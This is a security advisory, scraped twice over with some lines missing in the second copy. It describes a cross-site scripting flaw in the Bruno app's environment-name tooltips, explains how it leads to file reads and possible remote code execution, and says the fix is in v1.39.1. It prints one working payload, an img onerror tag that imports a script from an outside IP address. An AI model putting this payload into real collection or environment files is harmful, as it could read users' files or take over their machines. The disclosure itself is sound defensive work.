Scope of Vulnerability
This vulnerability's attack surface is limited strictly to scenarios where users import collections from untrusted or malicious sources. The exploit requires deliberate action from the user—specifically, downloading and opening an externally provided malicious Bruno or Postman collection export and the user hovers on the environment name.
To mitigate risks associated with this attack, users should:
- Avoid importing collection files from unknown or suspicious sources.
- Verify the origin and authenticity of collections before importing.
- Utilize updated versions of the Bruno app (v1.39.1 or later), which include critical security patches addressing this vulnerability.
Threat Analysis
This issue is due to a bug in the way tool-tip is shown on hover over the names in Collection Environments and Global Environments.
The custom tool-tip components which internally use react-tooltip
were setting the content (in this case the Environment name) as raw HTML which then gets injected into DOM on hover.
This, combined with loose Content Security Policy restrictions, allowed any valid HTML text containing inline script to get executed on hovering over the respective Environment's name.
Although there was a max-length(50) limit on the name, it's still possible to craft a name which successfully loads an external script and executes it.
Once the attacker is able to run any arbitrary script in the renderer-process, they will have access to read any files on the user's system via the file:///
scheme using the Fetch API or XMLHttpRequest
.
Also, using the ipcRenderer
, the script can call some of the sensitive event addresses from the renderer-process to even write files. This can eventually lead to RCE on the user's system.
Exploit Method
- An attacker can craft a malicious Bruno Collection or Postman collection export
- The attacker can trick the user into downloading and opening it using the Bruno app and even emphasize using Safe-Mode
- Once the user opens the collection, navigates around, and eventually hovers over the environment name, the exploit will execute.
Sample Environment name which can be used as part of the exploit:
<img src onerror=import("http://192.168.1.10/")>
Patches
The fix involves:
- Making sure that tool-tip doesn't use content as raw HTML
- Hardening the Content Security Policy
These fixes were released in v1.39.1
Credits
This issue was reported by Justin Hocquel – NATO Cyber Security Centre
Scope of Vulnerability
This vulnerability's attack surface is limited strictly to scenarios where users import collections from untrusted or malicious sources. The exploit requires deliberate action from the user—specifically, downloading and opening an externally provided malicious Bruno or Postman collection export and the user hovers on the environment name.
To mitigate risks associated with this attack, users should:
Threat Analysis
This issue is due to a bug in the way tool-tip is shown on hover over the names in Collection Environments and Global Environments.
The custom tool-tip components which internally use
react-tooltip
were setting the content (in this case the Environment name) as raw HTML which then gets injected into DOM on hover.This, combined with loose Content Security Policy restrictions, allowed any valid HTML text containing inline script to get executed on hovering over the respective Environment's name.
Although there was a max-length(50) limit on the name, it's still possible to craft a name which successfully loads an external script and executes it.
Once the attacker is able to run any arbitrary script in the renderer-process, they will have access to read any files on the user's system via the
file:///
scheme using the Fetch API orXMLHttpRequest
.Also, using the
ipcRenderer
, the script can call some of the sensitive event addresses from the renderer-process to even write files. This can eventually lead to RCE on the user's system.Exploit Method
Sample Environment name which can be used as part of the exploit:
Patches
The fix involves:
These fixes were released in v1.39.1
Credits
This issue was reported by Justin Hocquel – NATO Cyber Security Centre